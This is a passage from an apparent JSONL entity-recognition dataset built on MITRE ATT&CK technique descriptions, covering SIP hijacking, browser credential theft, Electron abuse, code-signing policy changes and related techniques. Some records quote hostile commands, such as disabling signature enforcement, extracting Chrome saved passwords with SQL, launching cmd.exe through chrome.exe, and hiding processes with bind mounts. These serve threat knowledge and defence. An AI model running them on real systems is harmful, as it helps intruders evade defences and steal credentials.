values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via DLL search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.", "spans": {"SYSTEM: Windows": [[183, 190]], "ORGANIZATION: Microsoft": [[362, 371], [751, 760], [1654, 1663], [2033, 2042], [2475, 2484], [3324, 3333]], "SYSTEM: API": [[509, 512], [873, 876], [932, 935]], "TOOL: PowerShell": [[1054, 1064]], "SYSTEM: Registry": [[1601, 1609], [2422, 2430], [3046, 3054], [3271, 3279], [3897, 3905]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.003"}}
{"text": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.", "spans": {"SYSTEM: HTTP": [[341, 345]], "SYSTEM: SSL": [[360, 363]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1185"}}
{"text": "Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.", "spans": {"SYSTEM: SSH": [[106, 109], [563, 566], [1147, 1150], [1350, 1353]], "TOOL: VNC": [[115, 118], [1100, 1103]], "TOOL: RDP": [[596, 599]], "SYSTEM: VMware": [[794, 800]], "ORGANIZATION: Apple": [[971, 976]], "SYSTEM: macOS": [[1001, 1006], [1299, 1304]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021"}}
{"text": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071.003"}}
{"text": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.  \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID:\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials. In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.", "spans": {"ORGANIZATION: Microsoft": [[434, 443], [1769, 1778]], "SYSTEM: Active Directory": [[513, 529], [668, 684], [934, 950], [954, 970], [1053, 1069]], "SYSTEM: AWS": [[1152, 1155]], "SYSTEM: GCP": [[1160, 1163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.007"}}
{"text": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1595.002"}}
{"text": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, PowerShell modules like Azure for PowerShell, or software developer kits (SDKs) available for languages such as Python.  \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as Application Access Token and Web Session Cookie), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.", "spans": {"TOOL: PowerShell": [[340, 350], [374, 384], [887, 897]], "SYSTEM: Azure": [[364, 369], [1086, 1091]], "SYSTEM: Python": [[452, 458]], "SYSTEM: API": [[469, 472]], "SYSTEM: Access": [[735, 741]], "SYSTEM: AWS": [[1081, 1084]], "SYSTEM: GCP": [[1097, 1100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.009"}}
{"text": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596"}}
{"text": "Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams. Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS. The Chromium engine is used to display web content and Node.js runs the backend code.\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework. For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).\n\nAdversaries may also execute malicious content by planting malicious JavaScript within Electron applications.", "spans": {"SYSTEM: Signal": [[148, 154]], "SYSTEM: Slack": [[156, 161]], "ORGANIZATION: Microsoft": [[167, 176]], "SYSTEM: GitHub": [[208, 214]], "SYSTEM: JavaScript": [[322, 332], [999, 1009]], "FILEPATH: C:\\Windows\\system32\\cmd.exe": [[886, 913]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.015"}}
{"text": "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.", "spans": {"SYSTEM: Linux": [[38, 43], [105, 110], [126, 131], [201, 206]], "TOOL: at": [[229, 231], [754, 756]], "FILEPATH: /etc/audit/audit.rules`": [[676, 699], [1269, 1292]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.012"}}
{"text": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC.  Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. \n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).  The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.", "spans": {"SYSTEM: Active Directory": [[77, 93], [200, 216]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1207"}}
{"text": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS. Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, Modify Registry, rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory. Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS. Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct Exploitation for Privilege Escalation using a signed, but vulnerable driver.", "spans": {"SYSTEM: Windows": [[469, 476], [1289, 1296]], "SYSTEM: macOS": [[517, 522], [1333, 1338]], "SYSTEM: Registry": [[1045, 1053]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.006"}}
{"text": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to Escape to Host and access other containers running on the node. \n\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.  In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes. Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.", "spans": {"SYSTEM: Kubernetes": [[438, 448], [785, 795], [823, 833]], "SYSTEM: Docker": [[691, 697]], "TOOL: at": [[1139, 1141]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1610"}}
{"text": "Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via Obfuscated Files or Information. The Registry may also be modified to Impair Defenses, such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.", "spans": {"SYSTEM: Windows Registry": [[34, 50]], "SYSTEM: Access": [[148, 154]], "SYSTEM: Registry": [[180, 188], [352, 360], [469, 477], [508, 516], [639, 647], [940, 948], [1065, 1073], [1252, 1260]], "SYSTEM: Windows": [[287, 294], [490, 497], [1198, 1205]], "TOOL: Reg": [[316, 319], [1424, 1427]], "SYSTEM: API": [[498, 501]], "SYSTEM: Microsoft Office": [[724, 740]], "SYSTEM: SMB": [[1194, 1197]], "SYSTEM: Win32 API": [[1457, 1466]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1112"}}
{"text": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.", "spans": {"SYSTEM: macOS": [[205, 210], [399, 404]], "TOOL: at": [[1010, 1012]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543.004"}}
{"text": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket’s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket. Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project , and Azure's CLI command <code>az vm list</code> lists details of virtual machines. In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through Wordlist Scanning.\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user. The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources.  Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in Cloud Service Discovery, this technique focuses on the discovery of components of the provided services rather than the services themselves.", "spans": {"SYSTEM: AWS": [[451, 454]], "SYSTEM: API": [[497, 500], [523, 526], [631, 634], [748, 751], [880, 883], [1189, 1192]], "ORGANIZATION: Amazon": [[512, 518]], "SYSTEM: EC2": [[519, 522]], "SYSTEM: GCP": [[948, 951]], "ORGANIZATION: Google": [[1044, 1050]], "SYSTEM: Azure": [[1095, 1100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1580"}}
{"text": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key.\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "spans": {"SYSTEM: Windows": [[432, 439], [796, 803], [1029, 1036], [1130, 1137]], "SYSTEM: Google Chrome": [[492, 505]], "ORGANIZATION: Google": [[554, 560]], "SYSTEM: Chrome": [[561, 567]], "SYSTEM: API": [[804, 807]], "SYSTEM: Safari": [[1010, 1016]], "SYSTEM: Edge": [[1018, 1022], [1076, 1080]], "SYSTEM: Internet Explorer": [[1044, 1061]], "ORGANIZATION: Microsoft": [[1066, 1075]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.003"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL search order hijacking, the search order differs depending on the method that is used to execute the program.    However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. \n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL.", "spans": {"TOOL: at": [[338, 340]], "SYSTEM: Windows": [[452, 459], [659, 666], [749, 756], [1303, 1310]], "TOOL: cmd.exe": [[1111, 1118], [1441, 1448]], "DOMAIN: net.com": [[1385, 1392], [1482, 1489]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.008"}}
{"text": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1491"}}
{"text": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.", "spans": {"SYSTEM: Access": [[105, 111]], "SYSTEM: AWS": [[860, 863]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1535"}}
{"text": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.", "spans": {"SYSTEM: DHCP": [[117, 121], [157, 161], [489, 493], [620, 624], [1140, 1144], [1283, 1287], [1742, 1746], [1830, 1834], [1987, 1991], [2014, 2018], [2139, 2143]], "SYSTEM: DNS": [[1323, 1326]], "TOOL: route": [[1454, 1459]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557.003"}}
{"text": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.", "spans": {"SYSTEM: SSH": [[233, 236]], "TOOL: RDP": [[242, 245]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1563"}}
{"text": "Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access. \n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process’s `/proc` directory. Using the commands `mount –o bind /proc/benign-process /proc/malicious-process` (or `mount –B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory’s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.", "spans": {"TOOL: mount": [[120, 125], [571, 576], [636, 641], [860, 865]], "SYSTEM: Windows": [[224, 231]], "FILEPATH: /proc/benign-process": [[585, 605]], "FILEPATH: /proc/malicious-process`": [[606, 630]], "TOOL: ps": [[817, 819]], "TOOL: top": [[826, 829]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.013"}}
{"text": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures. The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware. Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.001"}}
{"text": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).", "spans": {"MALWARE: China Chopper": [[504, 517]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.003"}}
{"text": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`. \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution,  and more. Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>. In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.", "spans": {"SYSTEM: Group Policy": [[23, 35]], "SYSTEM: Active Directory": [[266, 282]], "SYSTEM: GPO": [[608, 611], [713, 716], [1059, 1062], [1242, 1245], [1289, 1292], [1476, 1479]], "ORGANIZATION: Microsoft": [[1497, 1506]], "SYSTEM: Windows NT": [[1507, 1517]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1484.001"}}
{"text": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).", "spans": {"FILEPATH: %APPDATA%": [[757, 766]], "ORGANIZATION: Google": [[767, 773]], "SYSTEM: Chrome": [[774, 780]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1217"}}
